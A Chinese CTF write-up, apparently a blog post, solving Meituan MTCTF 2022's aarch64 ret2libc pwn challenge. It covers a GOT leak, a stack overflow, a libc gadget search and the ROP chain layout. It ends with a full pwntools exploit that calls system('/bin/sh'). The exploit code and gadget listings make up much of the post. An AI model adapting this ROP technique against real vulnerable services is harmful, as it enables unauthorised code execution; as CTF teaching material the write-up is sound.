• 美团MTCTF 2022 ret2libc_aarch64 pwn解


    美团MTCTF 2022 ret2libc_aarch64 pwn

    这是一道aarch64的pwn,正常的ret2libc,考察了aarch64下的指令运用
    笔者用的m1所以不需要使用qemu模拟
    在这里插入图片描述
    1功能可以直接leak出libc地址
    2功能是一个栈溢出漏洞
    在这里插入图片描述
    偏移128 + 8就可以覆盖到ret
    需要执行system(“/bin/sh”);
    第一点,需要先控制x0(一参)
    armv8里有一个指令可以对其进行赋值:ldr,先看一下pwn文件的gadgets

    ➜  mtctf_2022 cat g | grep 'ldr x0'
    0x0000000000400990 : add x0, sp, #0x18 ; movz x2, #0x8 ; mov x1, x0 ; movz w0, #0 ; bl #0x4006c0 ; ldr x0, [sp, #0x18] ; bl #0x4006b0 ; nop ; ldp x29, x30, [sp], #0x20 ; ret
    0x00000000004008a4 : adrp x0, #0x410000 ; ldr x0, [x0, #0xfc8] ; ldr x0, [x0] ; movz x1, #0 ; bl #0x400660 ; movz w0, #0 ; ldp x29, x30, [sp], #0x10 ; ret
    0x0000000000400740 : adrp x0, #0x410000 ; ldr x0, [x0, #0xfe0] ; cbz x0, #0x400750 ; b #0x400690 ; ret
    0x00000000004008a0 : bl #0x400660 ; adrp x0, #0x410000 ; ldr x0, [x0, #0xfc8] ; ldr x0, [x0] ; movz x1, #0 ; bl #0x400660 ; movz w0, #0 ; ldp x29, x30, [sp], #0x10 ; ret
    0x0000000000400738 : bl #0x400680 ; bl #0x4006a0 ; adrp x0, #0x410000 ; ldr x0, [x0, #0xfe0] ; cbz x0, #0x400750 ; b #0x400690 ; ret
    0x000000000040073c : bl #0x4006a0 ; adrp x0, #0x410000 ; ldr x0, [x0, #0xfe0] ; cbz x0, #0x400750 ; b #0x400690 ; ret
    0x00000000004009a0 : bl #0x4006c0 ; ldr x0, [sp, #0x18] ; bl #0x4006b0 ; nop ; ldp x29, x30, [sp], #0x20 ; ret
    0x00000000004009a4 : ldr x0, [sp, #0x18] ; bl #0x4006b0 ; nop ; ldp x29, x30, [sp], #0x20 ; ret
    0x00000000004008a8 : ldr x0, [x0, #0xfc8] ; ldr x0, [x0] ; movz x1, #0 ; bl #0x400660 ; movz w0, #0 ; ldp x29, x30, [sp], #0x10 ; ret
    0x0000000000400744 : ldr x0, [x0, #0xfe0] ; cbz x0, #0x400750 ; b #0x400690 ; ret
    0x00000000004008ac : ldr x0, [x0] ; movz x1, #0 ; bl #0x400660 ; movz w0, #0 ; ldp x29, x30, [sp], #0x10 ; ret
    0x0000000000400998 : mov x1, x0 ; movz w0, #0 ; bl #0x4006c0 ; ldr x0, [sp, #0x18] ; bl #0x4006b0 ; nop ; ldp x29, x30, [sp], #0x20 ; ret
    0x000000000040072c : movk x4, #0, lsl #32 ; movk x4, #0x40, lsl #16 ; movk x4, #0xa38 ; bl #0x400680 ; bl #0x4006a0 ; adrp x0, #0x410000 ; ldr x0, [x0, #0xfe0] ; cbz x0, #0x400750 ; b #0x400690 ; ret
    0x0000000000400730 : movk x4, #0x40, lsl #16 ; movk x4, #0xa38 ; bl #0x400680 ; bl #0x4006a0 ; adrp x0, #0x410000 ; ldr x0, [x0, #0xfe0] ; cbz x0, #0x400750 ; b #0x400690 ; ret
    0x0000000000400734 : movk x4, #0xa38 ; bl #0x400680 ; bl #0x4006a0 ; adrp x0, #0x410000 ; ldr x0, [x0, #0xfe0] ; cbz x0, #0x400750 ; b #0x400690 ; ret
    0x000000000040099c : movz w0, #0 ; bl #0x4006c0 ; ldr x0, [sp, #0x18] ; bl #0x4006b0 ; nop ; ldp x29, x30, [sp], #0x20 ; ret
    0x000000000040089c : movz x1, #0 ; bl #0x400660 ; adrp x0, #0x410000 ; ldr x0, [x0, #0xfc8] ; ldr x0, [x0] ; movz x1, #0 ; bl #0x400660 ; movz w0, #0 ; ldp x29, x30, [sp], #0x10 ; ret
    0x0000000000400994 : movz x2, #0x8 ; mov x1, x0 ; movz w0, #0 ; bl #0x4006c0 ; ldr x0, [sp, #0x18] ; bl #0x4006b0 ; nop ; ldp x29, x30, [sp], #0x20 ; ret
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    之所以不找mov是因为mov x0在pwn文件里是没有的,利用还是挺难的, 都有跳转指令,因为前面泄露出了libc地址,可以试着在libc里面寻找gadgets

    0x00000000000436dc : ldp x25, x26, [sp, #0x40] ; ldr x0, [sp, #0x80] ; ldp x29, x30, [sp], #0xb0 ; ret
    0x00000000000b6514 : ldp x27, x28, [sp, #0x50] ; ldr x0, [sp, #0x70] ; ldp x29, x30, [sp], #0x1a0 ; ret
    0x000000000004353c : ldp x27, x28, [sp, #0x50] ; ldr x0, [sp, #0x80] ; ldp x29, x30, [sp], #0xb0 ; ret
    0x00000000000436dc : ldp x25, x26, [sp, #0x40] ; ldr x0, [sp, #0x80] ; ldp x29, x30, [sp], #0xb0 ; ret
    0x00000000000b6514 : ldp x27, x28, [sp, #0x50] ; ldr x0, [sp, #0x70] ; ldp x29, x30, [sp], #0x1a0 ; ret
    0x000000000004353c : ldp x27, x28, [sp, #0x50] ; ldr x0, [sp, #0x80] ; ldp x29, x30, [sp], #0xb0 ; ret
    0x0000000000063e5c : ldr x0, [sp, #0x18] ; ldp x29, x30, [sp], #0x20 ; ret
    0x0000000000043540 : ldr x0, [sp, #0x80] ; ldp x29, x30, [sp], #0xb0 ; ret
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    再仔细筛选出上面的gadgets,这里用最简单的一个gadget来解,0x0000000000063e5c
    ldr x0, [sp, #0x18] ; ldp x29, x30, [sp], #0x20 ; ret
    ldr x0, [sp, #0x18]这个指令会将sp + 0x18这个地址内容给到x0,我们只需要在sp + 0x18这里填入bin_sh的地址即可。调试一下看一下需要放到哪个位置

    p1 = b'a' * (128 + 8)
    p1 += p64(gadgets)
    
    • 1
    • 2

    在这里插入图片描述
    在这里插入图片描述
    粉色的是gadgets的地址,红色的最后会给到x0,所以我们在这里填入bin_sh地址
    到了ldp x29, x30, [sp], #0x20这里,这条指令的含义是sp存储的地址放入x29,sp + 8放入x30,最后sp += 0x20,X30为程序链接寄存器,保存子程序结束后需要执行的下一条指令,所以我们需要将sp + 8这里填入system_addr
    在这里插入图片描述
    在这里插入图片描述
    所以最后的payload可以为

    p1 = b'a' * (128 + 8)
    p1 += p64(gadgets)
    p1 += p64(0) * 3
    p1 += p64(system_addr)
    p1 += p64(0)
    p1 += p64(bin_sh)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在这里插入图片描述
    在这里插入图片描述
    成功调用system,同理上面还有gadgets可以使用
    exp如下

    from pwn import *
    
    context(arch='aarch64', os='linux', log_level='debug')
    
    file_name = './pwn'
    
    li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
    ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
    
    debug = 0
    if debug:
        r = remote()
    else:
        r = process(file_name)
    
    elf = ELF(file_name)
    
    def dbg():
        gdb.attach(r)
    
    puts_got = elf.got['puts']
    read_got = elf.got['read']
    r.sendlineafter('>', '1')
    r.sendafter('sensible>>', p64(puts_got))
    r.recvuntil('\n')
    puts_addr = u64(r.recvuntil('\n')[-8:6].ljust(8, b'\x00'))
    li('puts_addr = ' + hex(puts_addr))
    
    libc = ELF('./libc.so.6')
    libc_base = puts_addr - libc.sym['puts']
    li('libc_base = ' + hex(libc_base))
    
    system_addr = libc_base + libc.sym['system']
    li('system_addr = ' + hex(system_addr))
    
    bin_sh = libc_base + libc.search(b'/bin/sh').__next__()
    li('bin_sh = ' + hex(bin_sh))
    gadgets = 0x0000000000063e5c + libc_base
    #0x0000000000063e5c : ldr x0, [sp, #0x18] ; ldp x29, x30, [sp], #0x20 ; ret
    p1 = b'a' * (128 + 8)
    p1 += p64(gadgets)
    p1 += p64(0) * 3
    p1 += p64(system_addr)
    p1 += p64(0)
    p1 += p64(bin_sh)
    r.sendlineafter('>', '2')
    r.sendlineafter('sensible>>', p1)
    
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
  • 相关阅读:
    RTC-实时音视频通信技术介绍与应用
    最常用模式
    手机银行体验性测试:如何获取用户真实感受
    C语言指针操作(一)指针变量
    LINUX 用户和组操作
    阿里云国际版建立云端数据库操作流程
    Pthread 并发编程(二)——自底向上深入理解线程
    rocketMQ简单理解
    QT 多语言例子的编译和运行——简单几步了解QT翻译的机制
    图解计算机的存储器金字塔
  • 原文地址:https://blog.csdn.net/zzq487782568/article/details/126919848